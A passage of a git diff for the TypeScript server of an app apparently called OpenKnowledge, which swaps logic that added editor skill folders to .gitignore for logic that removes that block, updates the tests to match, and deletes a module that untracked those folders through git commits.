agentIntegrations?: AgentRegistryHostSeam;}export function createSystemActionsRoutes(deps: SystemActionsRouteDeps): ApiRouteGroup {- const { contentDir, log, checkLocalOpSecurity, installedAgentsCache } = deps;+ const { contentDir, log, checkLocalOpSecurity, installedAgentsCache, agentIntegrations } = deps;async function handleHandoffDispatchRoute(req: IncomingMessage,@@ -34,6 +37,8 @@ export function createSystemActionsRoutes(deps: SystemActionsRouteDeps): ApiRoutcontentDir,platform: process.platform,isSchemeRegistered: installedAgentsCache.probeWithCache,+ hostSnapshot: () =>+ collectServerHostSnapshot({ env: 'local-web', resolve: agentIntegrations?.probe }),});} catch (e) {if (!res.headersSent) {diff --git a/packages/server/src/http/workspace-tools-routes.ts b/packages/server/src/http/workspace-tools-routes.tsindex 3b83d3a98..7fe2991d1 100644--- a/packages/server/src/http/workspace-tools-routes.ts+++ b/packages/server/src/http/workspace-tools-routes.ts@@ -21,6 +21,7 @@ import {type WorkspaceSearchRanking,type WorkspaceSearchScope,} from '@inkeep/open-knowledge-core';+import { skillFolderStateForWire } from '@inkeep/open-knowledge-core/skill-folder-state';import { z } from 'zod';import { isActivatedSkillRoot, knownSkillRootsFor } from '../in-place-skills.ts';import { guardedFetch } from '../link-preview/guarded-fetch.ts';@@ -357,7 +358,7 @@ export function createWorkspaceToolsRoutes(deps: WorkspaceToolsRouteDeps): ApiRo? scanSkillFolderStates(contentDir, knownSkillRootsFor(contentDir, 'project')).filter((f) => isActivatedSkillRoot(contentDir, 'project', f.root, skillsHome)).map((f) => ({- ...f,+ ...skillFolderStateForWire(f),scope: 'project' as const,...withDrift(contentDir, f),}))@@ -365,7 +366,7 @@ export function createWorkspaceToolsRoutes(deps: WorkspaceToolsRouteDeps): ApiRo...scanSkillFolderStates(skillsHome, knownSkillRootsFor(skillsHome, 'global')).filter((f) => isActivatedSkillRoot(skillsHome, 'global', f.root, skillsHome)).map((f) => ({- ...f,+ ...skillFolderStateForWire(f),scope: 'global' as const,...withDrift(skillsHome, f),})),diff --git a/packages/server/src/index.ts b/packages/server/src/index.tsindex 91bb20196..019aa1232 100644--- a/packages/server/src/index.ts+++ b/packages/server/src/index.ts@@ -15,6 +15,16 @@ export { attachAcpThreadSocket } from './acp/thread-socket.ts';export { AgentFocusBroadcaster } from './agent-focus.ts';export { AGENT_ID_MAX_LEN, AGENT_ID_RE, toBroadcasterKey, validateAgentId } from './agent-id.ts';export { AgentPresenceBroadcaster } from './agent-presence.ts';+export {+ type ObserveReadinessInput,+ observeReadiness,+ type ReadinessObservationLogger,+} from './agent-registry-gate.ts';+export {+ collectServerHostSnapshot,+ createServerProbeResolver,+ type ServerProbeOptions,+} from './agent-registry-probes.ts';export {AGENT_WRITE_ORIGIN,type AgentDirectConnection,@@ -257,13 +267,13 @@ export {type BuildConfigYmlOptions,buildConfigYmlContent,CONFIG_FILENAME,- ensureProjectSkillGitignore,type InitContentOptions,type InitContentResult,initContent,OK_OKIGNORE_TEMPLATE,packageVersionMajorMinor,ROOT_GITIGNORE_TEMPLATE,+ removeProjectSkillGitignoreBlock,writeRootGitignoreForNewRepo,} from './init-project.ts';export {@@ -405,11 +415,6 @@ export {ensureProjectGit,ProjectGitInitError,} from './project-git.ts';-export {- type UntrackProjectSkillResult,- type UntrackSkipReason,- untrackTrackedProjectSkillProjection,-} from './project-skill-git.ts';export {type BlockConflict,CONFLICT_MARKER_RE,diff --git a/packages/server/src/init-project.test.ts b/packages/server/src/init-project.test.tsindex 83500e2a0..8b671dfdc 100644--- a/packages/server/src/init-project.test.ts+++ b/packages/server/src/init-project.test.ts@@ -2,6 +2,8 @@ import {existsSync,lstatSync,mkdirSync,+ mkdtempSync,+ readdirSync,readFileSync,rmSync,symlinkSync,@@ -9,19 +11,15 @@ import {} from 'node:fs';import { tmpdir } from 'node:os';import { dirname, join, resolve } from 'node:path';-import {- OK_DIR,- PROJECT_SKILL_PROJECTION_IGNORE_PATHS,- RESERVED_PROJECT_SKILL_NAME,-} from '@inkeep/open-knowledge-core';+import { OK_DIR } from '@inkeep/open-knowledge-core';import { afterEach, beforeEach, describe, expect, it } from 'vitest';import {buildConfigYmlContent,- ensureProjectSkillGitignore,initContent,OK_OKIGNORE_TEMPLATE,packageVersionMajorMinor,ROOT_GITIGNORE_TEMPLATE,+ removeProjectSkillGitignoreBlock,writeRootGitignoreForNewRepo,} from './init-project.ts';@@ -397,60 +395,128 @@ describe('buildConfigYmlContent', () => {});});-describe('ensureProjectSkillGitignore', () => {+describe('removeProjectSkillGitignoreBlock', () => {let testDir: string;-beforeEach(() => {- testDir = resolve(- tmpdir(),- `skill-gitignore-test-${Date.now()}-${Math.random().toString(36).slice(2)}`,+ testDir = mkdtempSync(join(tmpdir(), 'ok-gitignore-drain-'));+ });+ afterEach(() => {+ rmSync(testDir, { recursive: true, force: true });+ });++ const PATHS = [+ '.claude/skills/open-knowledge/',+ '.cursor/skills/open-knowledge/',+ '.codex/skills/open-knowledge/',+ '.github/skills/open-knowledge/',+ '.opencode/skills/open-knowledge/',+ '.pi/skills/open-knowledge/',+ ];++ it('drains the bare-paths shape an existing .gitignore received', () => {+ const path = join(testDir, '.gitignore');+ writeFileSync(path, `# user-authored\nnode_modules/\n${PATHS.join('\n')}\n`, 'utf-8');++ expect(removeProjectSkillGitignoreBlock(testDir)).toBe('removed');+ expect(readFileSync(path, 'utf-8')).toBe('# user-authored\nnode_modules/\n');+ });++ it('drains the header+paths shape OK wrote when it created the file', () => {+ const path = join(testDir, '.gitignore');+ writeFileSync(+ path,+ `${[+ '# OpenKnowledge regenerates its built-in project skill on every open, and',+ '# different app builds version-stamp it differently. It is a per-machine',+ "# artifact — keep it out of git so teammates don't collide under auto-sync.",+ ...PATHS,+ ].join('\n')}\n`,+ 'utf-8',);- mkdirSync(testDir, { recursive: true });++ expect(removeProjectSkillGitignoreBlock(testDir)).toBe('removed');+ expect(readFileSync(path, 'utf-8')).toBe('');+ });++ it('preserves every user line and collapses the blank the block left behind', () => {+ const path = join(testDir, '.gitignore');+ writeFileSync(path, `secrets.env\n\n${PATHS.join('\n')}\n\ndist/\n`, 'utf-8');++ expect(removeProjectSkillGitignoreBlock(testDir)).toBe('removed');+ expect(readFileSync(path, 'utf-8')).toBe('secrets.env\n\ndist/\n');+ });++ it('idempotent, and inert for a project that never had the block', () => {+ const path = join(testDir, '.gitignore');+ const original = 'node_modules/\ndist/\n';+ writeFileSync(path, original, 'utf-8');++ expect(removeProjectSkillGitignoreBlock(testDir)).toBe('unchanged');+ expect(readFileSync(path, 'utf-8')).toBe(original);+ expect(removeProjectSkillGitignoreBlock(testDir)).toBe('unchanged');+ });++ it('no .gitignore at all is not an error', () => {+ expect(removeProjectSkillGitignoreBlock(testDir)).toBe('unchanged');});+ it('a user line that merely mentions the path survives', () => {+ const path = join(testDir, '.gitignore');+ const original = '# keep .claude/skills/open-knowledge/ around\n.claude/skills/*.bak\n';+ writeFileSync(path, original, 'utf-8');++ expect(removeProjectSkillGitignoreBlock(testDir)).toBe('unchanged');+ expect(readFileSync(path, 'utf-8')).toBe(original);+ });+});++describe('removeProjectSkillGitignoreBlock touches only the seam it opened', () => {+ let testDir: string;+ beforeEach(() => {+ testDir = mkdtempSync(join(tmpdir(), 'ok-gitignore-seam-'));+ });afterEach(() => {rmSync(testDir, { recursive: true, force: true });});+ const PATHS = [+ '.claude/skills/open-knowledge/',+ '.cursor/skills/open-knowledge/',+ '.codex/skills/open-knowledge/',+ '.github/skills/open-knowledge/',+ '.opencode/skills/open-knowledge/',+ '.pi/skills/open-knowledge/',+ ];- it('creates a `.gitignore` with every editor-host projection path when absent', () => {- expect(ensureProjectSkillGitignore(testDir)).toBe('created');- const body = readFileSync(join(testDir, '.gitignore'), 'utf-8');- for (const p of PROJECT_SKILL_PROJECTION_IGNORE_PATHS) {- expect(body).toContain(p);- }- expect(body).toContain('.claude/skills/open-knowledge/');- expect(body).toContain('.cursor/skills/open-knowledge/');- expect(body).toContain('.codex/skills/open-knowledge/');- expect(body).toContain('.github/skills/open-knowledge/');- expect(body).toContain('.opencode/skills/open-knowledge/');- expect(body).toContain('.pi/skills/open-knowledge/');- });-- it('appends only the missing projection lines to an existing `.gitignore`, preserving user lines', () => {- writeFileSync(join(testDir, '.gitignore'), '# user rules\nnode_modules/\n.DS_Store\n', 'utf-8');- expect(ensureProjectSkillGitignore(testDir)).toBe('updated');- const body = readFileSync(join(testDir, '.gitignore'), 'utf-8');- expect(body).toContain('# user rules');- expect(body).toContain('node_modules/');- expect(body).toContain('.DS_Store');- expect(body).toContain('.claude/skills/open-knowledge/');- });-- it('is idempotent — a second call reports `unchanged` and does not duplicate lines', () => {- ensureProjectSkillGitignore(testDir);- expect(ensureProjectSkillGitignore(testDir)).toBe('unchanged');- const body = readFileSync(join(testDir, '.gitignore'), 'utf-8');- const occurrences = body.split('.claude/skills/open-knowledge/').length - 1;- expect(occurrences).toBe(1);- });-- it('is skill-name-scoped — it never blanket-excludes `.{host}/skills/`', () => {- ensureProjectSkillGitignore(testDir);- const body = readFileSync(join(testDir, '.gitignore'), 'utf-8');- for (const line of body.split('\n').filter((l) => l.trim() && !l.startsWith('#'))) {- expect(line).toContain(`/${RESERVED_PROJECT_SKILL_NAME}/`);- }- expect(body).not.toContain('.claude/skills/\n');- expect(body).not.toContain('.cursor/skills/\n');+ it('leaves blank runs elsewhere in the file alone', () => {+ const path = join(testDir, '.gitignore');+ writeFileSync(path, `a/\n\n\nb/\n\n${PATHS.join('\n')}\n`, 'utf-8');++ expect(removeProjectSkillGitignoreBlock(testDir)).toBe('removed');+ expect(readFileSync(path, 'utf-8')).toBe('a/\n\n\nb/\n');+ });++ it('keeps CRLF endings and whitespace-only lines as they were', () => {+ const path = join(testDir, '.gitignore');+ writeFileSync(path, `a/\r\n \r\nb/\r\n${PATHS.join('\r\n')}\r\n`, 'utf-8');++ expect(removeProjectSkillGitignoreBlock(testDir)).toBe('removed');+ expect(readFileSync(path, 'utf-8')).toBe('a/\r\n \r\nb/\r\n');+ });++ it('leaves at most one blank where the block sat in the middle', () => {+ const path = join(testDir, '.gitignore');+ writeFileSync(path, `a/\n\n${PATHS.join('\n')}\n\nb/\n`, 'utf-8');++ expect(removeProjectSkillGitignoreBlock(testDir)).toBe('removed');+ expect(readFileSync(path, 'utf-8')).toBe('a/\n\nb/\n');+ });++ it('writes the file through a rename, never leaving a truncated .gitignore', () => {+ const path = join(testDir, '.gitignore');+ writeFileSync(path, `a/\n${PATHS.join('\n')}\n`, 'utf-8');++ expect(removeProjectSkillGitignoreBlock(testDir)).toBe('removed');+ expect(readdirSync(testDir).filter((f) => f.startsWith('.gitignore.tmp'))).toEqual([]);+ expect(readFileSync(path, 'utf-8')).toBe('a/\n');});});diff --git a/packages/server/src/init-project.ts b/packages/server/src/init-project.tsindex 72c81b011..930ee6599 100644--- a/packages/server/src/init-project.ts+++ b/packages/server/src/init-project.ts@@ -1,12 +1,13 @@+import { randomUUID } from 'node:crypto';import { existsSync, lstatSync, readFileSync } from 'node:fs';import { join, resolve } from 'node:path';+import { CONFIG_SCHEMA_MAJOR_PATH, LOCAL_DIR, OK_DIR } from '@inkeep/open-knowledge-core';import {- CONFIG_SCHEMA_MAJOR_PATH,- LOCAL_DIR,- OK_DIR,- PROJECT_SKILL_PROJECTION_IGNORE_PATHS,-} from '@inkeep/open-knowledge-core';-import { tracedMkdirSync, tracedWriteFileSync } from './fs-traced.ts';+ tracedMkdirSync,+ tracedRenameSync,+ tracedRmSync,+ tracedWriteFileSync,+} from './fs-traced.ts';import { assertNotHomeProjectRoot } from './home-project-root.ts';export const CONFIG_FILENAME = 'config.yml';@@ -142,6 +143,62 @@ function ensureGitignoreEntries(return 'updated';}+const RETIRED_PROJECT_SKILL_GITIGNORE_PATHS = [+ '.claude/skills/open-knowledge/',+ '.cursor/skills/open-knowledge/',+ '.codex/skills/open-knowledge/',+ '.github/skills/open-knowledge/',+ '.opencode/skills/open-knowledge/',+ '.pi/skills/open-knowledge/',+];++const RETIRED_PROJECT_SKILL_GITIGNORE_HEADER = [+ '# OpenKnowledge regenerates its built-in project skill on every open, and',+ '# different app builds version-stamp it differently. It is a per-machine',+ "# artifact — keep it out of git so teammates don't collide under auto-sync.",+];++export function removeProjectSkillGitignoreBlock(projectDir: string): 'removed' | 'unchanged' {+ const filePath = join(projectDir, '.gitignore');+ assertNotSymlink(filePath, '.gitignore');+ if (!existsSync(filePath)) return 'unchanged';+ const original = readFileSync(filePath, 'utf-8');+ const paths = new Set(RETIRED_PROJECT_SKILL_GITIGNORE_PATHS.map((p) => p.trim()));+ const lines = original.split('\n');+ if (!lines.some((l) => paths.has(l.trim()))) return 'unchanged';+ const header = new Set(RETIRED_PROJECT_SKILL_GITIGNORE_HEADER);+ const isBlank = (l: string): boolean => l.trim() === '';+ const kept: string[] = [];+ let atSeam = false;+ for (const line of lines) {+ if (paths.has(line.trim()) || header.has(line.trim())) {+ atSeam = true;+ continue;+ }+ if (atSeam && isBlank(line)) {+ const previous = kept[kept.length - 1];+ if (previous === undefined || isBlank(previous)) {+ atSeam = false;+ continue;+ }+ }+ atSeam = false;+ kept.push(line);+ }+ const next = kept.join('\n');+ const tmpPath = `${filePath}.tmp.${randomUUID()}`;+ try {+ tracedWriteFileSync(tmpPath, next, 'utf-8');+ tracedRenameSync(tmpPath, filePath);+ } catch (err) {+ try {+ tracedRmSync(tmpPath, { force: true });+ } catch {}+ throw err;+ }+ return 'removed';+}+const OK_GITIGNORE_CONTENT = `# .ok/local/ holds per-machine runtime state. Anything inside is# machine-local and never committed. New runtime files (caches, locks,# manifests, telemetry, error logs) are auto-ignored — no edit needed here.@@ -246,19 +303,3 @@ export function writeRootGitignoreForNewRepo(projectDir: string): 'created' | 's? 'created': 'skipped';}--const PROJECT_SKILL_GITIGNORE_BLOCK = `# OpenKnowledge regenerates its built-in project skill on every open, and-# different app builds version-stamp it differently. It is a per-machine-# artifact — keep it out of git so teammates don't collide under auto-sync.-${PROJECT_SKILL_PROJECTION_IGNORE_PATHS.join('\n')}-`;--export function ensureProjectSkillGitignore(- projectDir: string,-): 'created' | 'updated' | 'unchanged' {- return ensureGitignoreEntries(- join(projectDir, '.gitignore'),- PROJECT_SKILL_GITIGNORE_BLOCK,- '.gitignore',- );-}diff --git a/packages/server/src/project-skill-git.test.ts b/packages/server/src/project-skill-git.test.tsdeleted file mode 100644index f3ba290c1..000000000--- a/packages/server/src/project-skill-git.test.ts+++ /dev/null@@ -1,157 +0,0 @@-import { execFileSync } from 'node:child_process';-import { existsSync, mkdirSync, rmSync, writeFileSync } from 'node:fs';-import { tmpdir } from 'node:os';-import { join, resolve } from 'node:path';-import { afterEach, beforeEach, describe, expect, it } from 'vitest';-import { ensureProjectSkillGitignore } from './init-project.ts';-import { untrackTrackedProjectSkillProjection } from './project-skill-git.ts';--function uniqueDir(prefix: string): string {- return resolve(tmpdir(), `${prefix}-${Date.now()}-${Math.random().toString(36).slice(2)}`);-}--function git(dir: string, ...args: string[]): string {- return execFileSync('git', args, {- cwd: dir,- encoding: 'utf-8',- stdio: ['ignore', 'pipe', 'ignore'],- });-}--function initRepo(dir: string): void {- mkdirSync(dir, { recursive: true });- git(dir, 'init', '--initial-branch=main');- git(dir, 'config', 'user.email', '[email protected]');- git(dir, 'config', 'user.name', 'Test User');-}--function trackSkill(dir: string, hostRel: string, skillName: string, body: string): void {- const rel = join(hostRel, 'skills', skillName, 'SKILL.md');- const abs = join(dir, rel);- mkdirSync(join(abs, '..'), { recursive: true });- writeFileSync(abs, body, 'utf-8');- git(dir, 'add', '--', rel);-}--function tracked(dir: string, pathspec: string): boolean {- return git(dir, 'ls-files', '--', pathspec).trim().length > 0;-}--describe('untrackTrackedProjectSkillProjection', () => {- let dir: string;- beforeEach(() => {- dir = uniqueDir('untrack-skill-test');- });- afterEach(() => {- rmSync(dir, { recursive: true, force: true });- });-- it('untracks an already-tracked built-in projection and advances HEAD, keeping the working file', async () => {- initRepo(dir);- trackSkill(dir, '.claude', 'open-knowledge', '---\nmetadata:\n version: 1.0.0\n---\nbody\n');- git(dir, 'commit', '-m', 'seed');- const headBefore = git(dir, 'rev-parse', 'HEAD').trim();- expect(tracked(dir, '.claude/skills/open-knowledge/')).toBe(true);-- const result = await untrackTrackedProjectSkillProjection(dir);-- expect(result.kind).toBe('untracked');- if (result.kind !== 'untracked') throw new Error('unreachable');- expect(result.dirs).toContain('.claude/skills/open-knowledge');- expect(tracked(dir, '.claude/skills/open-knowledge/')).toBe(false);- expect(existsSync(join(dir, '.claude/skills/open-knowledge/SKILL.md'))).toBe(true);- const headAfter = git(dir, 'rev-parse', 'HEAD').trim();- expect(headAfter).not.toBe(headBefore);- expect(git(dir, 'rev-parse', 'HEAD^').trim()).toBe(headBefore);- expect(git(dir, 'diff', '--cached', '--name-only').trim()).toBe('');- });-- it('untracks every editor-host projection at once', async () => {- initRepo(dir);- trackSkill(dir, '.claude', 'open-knowledge', 'a\n');- trackSkill(dir, '.cursor', 'open-knowledge', 'b\n');- trackSkill(dir, '.codex', 'open-knowledge', 'c\n');- git(dir, 'commit', '-m', 'seed');-- const result = await untrackTrackedProjectSkillProjection(dir);-- expect(result.kind).toBe('untracked');- expect(tracked(dir, '.claude/skills/open-knowledge/')).toBe(false);- expect(tracked(dir, '.cursor/skills/open-knowledge/')).toBe(false);- expect(tracked(dir, '.codex/skills/open-knowledge/')).toBe(false);- });-- it('is skill-name-scoped — an authored skill at `.{host}/skills/<other>/` is NOT untracked', async () => {- initRepo(dir);- trackSkill(dir, '.claude', 'open-knowledge', 'bundle\n');- trackSkill(dir, '.claude', 'my-authored-skill', 'authored\n');- git(dir, 'commit', '-m', 'seed');-- const result = await untrackTrackedProjectSkillProjection(dir);-- expect(result.kind).toBe('untracked');- expect(tracked(dir, '.claude/skills/open-knowledge/')).toBe(false);- expect(tracked(dir, '.claude/skills/my-authored-skill/')).toBe(true);- });-- it('is idempotent — a second call is a no-op once HEAD no longer tracks the bundle', async () => {- initRepo(dir);- trackSkill(dir, '.claude', 'open-knowledge', 'x\n');- git(dir, 'commit', '-m', 'seed');-- expect((await untrackTrackedProjectSkillProjection(dir)).kind).toBe('untracked');- const headAfterFirst = git(dir, 'rev-parse', 'HEAD').trim();- expect((await untrackTrackedProjectSkillProjection(dir)).kind).toBe('nothing-tracked');- expect(git(dir, 'rev-parse', 'HEAD').trim()).toBe(headAfterFirst);- });-- it('combined with ensureProjectSkillGitignore, leaves the regenerated file ignored + clean', async () => {- initRepo(dir);- trackSkill(dir, '.claude', 'open-knowledge', 'x\n');- git(dir, 'commit', '-m', 'seed');-- ensureProjectSkillGitignore(dir);- git(dir, 'add', '--', '.gitignore');- git(dir, 'commit', '-m', 'gitignore');- await untrackTrackedProjectSkillProjection(dir);-- expect(git(dir, 'status', '--porcelain').trim()).toBe('');- expect(git(dir, 'check-ignore', '--', '.claude/skills/open-knowledge/SKILL.md').trim()).toBe(- '.claude/skills/open-knowledge/SKILL.md',- );- });-- it('returns nothing-tracked when the projection is untracked', async () => {- initRepo(dir);- writeFileSync(join(dir, 'README.md'), '# r\n', 'utf-8');- git(dir, 'add', '--', 'README.md');- git(dir, 'commit', '-m', 'init');- expect((await untrackTrackedProjectSkillProjection(dir)).kind).toBe('nothing-tracked');- });-- it('skips (no-git) a non-git directory', async () => {- mkdirSync(dir, { recursive: true });- const result = await untrackTrackedProjectSkillProjection(dir);- expect(result).toEqual({ kind: 'skipped', reason: 'no-git' });- });-- it('skips (detached-head) when HEAD is detached', async () => {- initRepo(dir);- trackSkill(dir, '.claude', 'open-knowledge', 'x\n');- git(dir, 'commit', '-m', 'seed');- const sha = git(dir, 'rev-parse', 'HEAD').trim();- git(dir, 'checkout', '--detach', sha);- const result = await untrackTrackedProjectSkillProjection(dir);- expect(result).toEqual({ kind: 'skipped', reason: 'detached-head' });- expect(tracked(dir, '.claude/skills/open-knowledge/')).toBe(true);- });-- it('skips (operation-in-progress) when a merge is mid-flight', async () => {- initRepo(dir);- trackSkill(dir, '.claude', 'open-knowledge', 'x\n');- git(dir, 'commit', '-m', 'seed');- writeFileSync(join(dir, '.git', 'MERGE_HEAD'), `${git(dir, 'rev-parse', 'HEAD').trim()}\n`);- const result = await untrackTrackedProjectSkillProjection(dir);- expect(result).toEqual({ kind: 'skipped', reason: 'operation-in-progress' });- });-});diff --git a/packages/server/src/project-skill-git.ts b/packages/server/src/project-skill-git.tsdeleted file mode 100644index f31496beb..000000000--- a/packages/server/src/project-skill-git.ts+++ /dev/null@@ -1,164 +0,0 @@-import { existsSync } from 'node:fs';-import { tmpdir } from 'node:os';-import { join } from 'node:path';-import {- PROJECT_SKILL_PROJECTION_IGNORE_PATHS,- RESERVED_PROJECT_SKILL_NAME,-} from '@inkeep/open-knowledge-core';-import { resolveGitDir } from '@inkeep/open-knowledge-core/shadow-repo-layout';-import { applyGitEnv, createGitInstance, type GitHandle, withParentLock } from './git-handle.ts';-import { resolveGitIdentity } from './git-identity.ts';-import { getLogger } from './logger.ts';--const log = getLogger('project-skill-git');--const SHA_HEX_40 = /^[0-9a-f]{40}$/;--const PROJECTION_DIRS = PROJECT_SKILL_PROJECTION_IGNORE_PATHS.map((p) => p.replace(/\/$/, ''));--export type UntrackSkipReason =- | 'no-git'- | 'unborn-head'- | 'detached-head'- | 'operation-in-progress'- | 'ref-race';--export type UntrackProjectSkillResult =- | { kind: 'nothing-tracked' }- | { kind: 'untracked'; dirs: string[]; commitSha: string }- | { kind: 'skipped'; reason: UntrackSkipReason }- | { kind: 'failed'; error: string };--export async function untrackTrackedProjectSkillProjection(- projectDir: string,-): Promise<UntrackProjectSkillResult> {- const gitDir = resolveGitDir(projectDir);- if (gitDir === null) return { kind: 'skipped', reason: 'no-git' };-- if (isOperationInProgress(gitDir)) {- return { kind: 'skipped', reason: 'operation-in-progress' };- }-- const handle = createGitInstance(projectDir, { credentialConfig: [] });-- const trackedDirs = await listTrackedProjectionDirs(handle);- if (trackedDirs.length === 0) return { kind: 'nothing-tracked' };-- try {- return await withParentLock(async () => {- const branch = await currentBranch(handle);- if (branch === null) return { kind: 'skipped', reason: 'detached-head' };- const headSha = await revparseHead(handle);- if (headSha === null) return { kind: 'skipped', reason: 'unborn-head' };-- const dirsNow = await listTrackedProjectionDirs(handle);- if (dirsNow.length === 0) return { kind: 'nothing-tracked' };-- const tmpIndex = join(tmpdir(), `ok-untrack-idx-${process.pid}-${Date.now()}.idx`);- const iso = createGitInstance(projectDir, { gitIndexFile: tmpIndex, credentialConfig: [] });-- await iso.git.raw(['read-tree', headSha]);- await iso.git.raw(['rm', '--cached', '-r', '--ignore-unmatch', '--', ...dirsNow]);- const newTree = (await iso.git.raw(['write-tree'])).trim();- const headTree = await revparseTree(handle, headSha);- if (headTree !== null && headTree === newTree) {- return { kind: 'nothing-tracked' };- }-- const identity = await resolveGitIdentity(projectDir);- const authorName = identity?.name ?? 'OpenKnowledge';- const authorEmail = identity?.email ?? '[email protected]';- applyGitEnv(iso, {- GIT_AUTHOR_NAME: authorName,- GIT_AUTHOR_EMAIL: authorEmail,- GIT_COMMITTER_NAME: authorName,- GIT_COMMITTER_EMAIL: authorEmail,- });-- const message = `Stop tracking the OpenKnowledge project skill\n\nThe \`${RESERVED_PROJECT_SKILL_NAME}\` skill is regenerated per machine and version-stamped per app build, so tracking it causes recurring sync conflicts. It is now git-ignored.`;- const newCommit = (- await iso.git.raw(['commit-tree', newTree, '-p', headSha, '-m', message])- ).trim();- if (!SHA_HEX_40.test(newCommit)) {- log.warn({ raw: newCommit }, 'commit-tree returned invalid SHA — aborting untrack');- return { kind: 'failed', error: 'commit-tree returned invalid SHA' };- }-- try {- await handle.git.raw(['update-ref', `refs/heads/${branch}`, newCommit, headSha]);- } catch (err) {- log.info(- { branch, err: errText(err) },- 'update-ref CAS failed — ref moved, retry next open',- );- return { kind: 'skipped', reason: 'ref-race' };- }-- try {- await handle.git.raw(['reset', '-q', newCommit, '--', ...dirsNow]);- } catch (err) {- log.info({ err: errText(err) }, 'real-index reset after untrack failed (cosmetic)');- }-- log.info({ dirs: dirsNow, commitSha: newCommit }, 'untracked project-skill projection');- return { kind: 'untracked', dirs: dirsNow, commitSha: newCommit };- });- } catch (err) {- return { kind: 'failed', error: errText(err) };- }-}--async function listTrackedProjectionDirs(handle: GitHandle): Promise<string[]> {- const tracked: string[] = [];- for (const dir of PROJECTION_DIRS) {- let out = '';- try {- out = (await handle.git.raw(['ls-files', '--', dir])).trim();- } catch {- out = '';- }- if (out.length > 0) tracked.push(dir);- }- return tracked;-}--async function currentBranch(handle: GitHandle): Promise<string | null> {- try {- const b = (await handle.git.raw(['rev-parse', '--abbrev-ref', 'HEAD'])).trim();- return b.length === 0 || b === 'HEAD' ? null : b;- } catch {- return null;- }-}--async function revparseHead(handle: GitHandle): Promise<string | null> {- try {- const sha = (await handle.git.raw(['rev-parse', '--verify', 'HEAD'])).trim();- return SHA_HEX_40.test(sha) ? sha : null;- } catch {- return null;- }-}--async function revparseTree(handle: GitHandle, commitSha: string): Promise<string | null> {- try {- const tree = (await handle.git.raw(['rev-parse', `${commitSha}^{tree}`])).trim();- return SHA_HEX_40.test(tree) ? tree : null;- } catch {- return null;- }-}--function isOperationInProgress(gitDir: string): boolean {- return (- existsSync(join(gitDir, 'MERGE_HEAD')) ||- existsSync(join(gitDir, 'rebase-merge')) ||- existsSync(join(gitDir, 'rebase-apply')) ||- existsSync(join(gitDir, 'CHERRY_PICK_HEAD')) ||- existsSync(join(gitDir, 'REVERT_HEAD'))- );-}--function errText(err: unknown): string {- return err instanceof Error ? err.message : String(err);-}diff --git a/packages/server/src/server-factory.ts b/packages/server/src/server-factory.tsindex b81628a62..2f2ccb15e 100644--- a/packages/server/src/server-factory.ts+++ b/packages/server/src/server-factory.ts@@ -60,6 +60,7 @@ import { AcpPermissionStore } from './acp/permissions.ts';import { AcpRegistry, loadCustomAgents } from './acp/registry.ts';import { AgentFocusBroadcaster } from './agent-focus.ts';import { AgentPresenceBroadcaster } from './agent-presence.ts';+import type { AgentRegistryHostSeam } from './agent-registry-apply.ts';import { AgentSessionManager } from './agent-sessions.ts';import { type CommentDocHooks, createApiExtension, isSafeDocName } from './api-extension.ts';import { assetReferencesChanged } from './asset-references.ts';@@ -298,6 +299,7 @@ export interface ServerOptions {configHomedirOverride?: string;mdManager?: MarkdownManager;detectGh?: DetectGhFn;+ agentIntegrations?: AgentRegistryHostSeam;detectGhAccounts?: DetectGhAccountsFn;tokenStore?: ProbeTokenStore | null;checkPushPermissionFn?: (opts: CheckPushPermissionOptions) => Promise<PushPermission>;@@ -1918,6 +1920,7 @@ export function createServer(options: ServerOptions): ServerInstance {resolveEmbed,getBridgeLossReporter: () => bridgeLossReporter,getPrincipal: () => loadedPrincipal,+ agentIntegrations: options.agentIntegrations,acpRegistry,loadAcpCustomAgents: () => loadCustomAgents(lockDir, getLogger('acp-registry')),homeDirOverride: configHomedirOverride,@@ -2067,6 +2070,7 @@ export function createServer(options: ServerOptions): ServerInstance {const source = document.getText('source').toString();if (!source.includes(needle)) continue;try {+ // (precedent #24). Re-render uses the same FILE_WATCHERdocument.transact(() => {applyDiskContentToDoc(document, source, resolveEmbed, docName);}, FILE_WATCHER_ORIGIN);diff --git a/packages/server/src/services/skill-install-ops.ts b/packages/server/src/services/skill-install-ops.tsindex dcd43cd78..ef03829ab 100644--- a/packages/server/src/services/skill-install-ops.ts+++ b/packages/server/src/services/skill-install-ops.ts@@ -283,9 +283,7 @@ export function createSkillInstallOpsService(deps: SkillInstallOpsDeps): SkillInconst subRoot =id === 'agents'? AGENTS_SKILLS_ROOT- : ((scope === 'project' ? EDITOR_PROJECT_SKILL_ROOT : EDITOR_USER_SKILL_ROOT)[- id as EditorId- ] ?? null);+ : (skillProjectionRoots(scope)[id as EditorId] ?? null);if (subRoot !== null) aliasMaterializes.push(subRoot);}}@@ -299,9 +297,7 @@ export function createSkillInstallOpsService(deps: SkillInstallOpsDeps): SkillInconst subRoot =id === 'agents'? AGENTS_SKILLS_ROOT- : ((scope === 'project' ? EDITOR_PROJECT_SKILL_ROOT : EDITOR_USER_SKILL_ROOT)[- id as EditorId- ] ?? null);+ : (skillProjectionRoots(scope)[id as EditorId] ?? null);if (subRoot !== null) aliasUnfollows.push(subRoot);}hostSet.delete(id);@@ -532,7 +528,7 @@ export function createSkillInstallOpsService(deps: SkillInstallOpsDeps): SkillInfor (const editor of fanned.hosts) {const editorRoot =- editor === 'agents' ? AGENTS_SKILLS_ROOT : EDITOR_PROJECT_SKILL_ROOT[editor];+ editor === 'agents' ? AGENTS_SKILLS_ROOT : skillProjectionRoots(scope)[editor];if (editorRoot === null || editorRoot === input.canonicalRootRel) continue;const copyAbs = resolve(base, editorRoot, name);let isLink = false;diff --git a/packages/server/src/skill-folder-links.ts b/packages/server/src/skill-folder-links.tsindex a8797bad3..c324216ec 100644--- a/packages/server/src/skill-folder-links.ts+++ b/packages/server/src/skill-folder-links.ts@@ -3,55 +3,7 @@ import { dirname, join, relative } from 'node:path';import { parseSkillDir } from '@inkeep/open-knowledge-core/skills-catalog';import { tracedMkdirSync, tracedRenameSync, tracedRmSync, tracedSymlinkSync } from './fs-traced.ts';-export interface SkillFolderState {- host: string;- root: string;- state: 'own' | 'linked' | 'linked-parent' | 'absent';- target?: string;-}--export function scanSkillFolderStates(- base: string,- roots: ReadonlyArray<{ editor: string; root: string }>,-): SkillFolderState[] {- let baseReal: string;- try {- baseReal = realpathSync(base);- } catch {- return roots.map(({ editor, root }) => ({ host: editor, root, state: 'absent' as const }));- }- const relTo = (abs: string): string | undefined =>- abs.startsWith(`${baseReal}/`) ? abs.slice(baseReal.length + 1) : undefined;- return 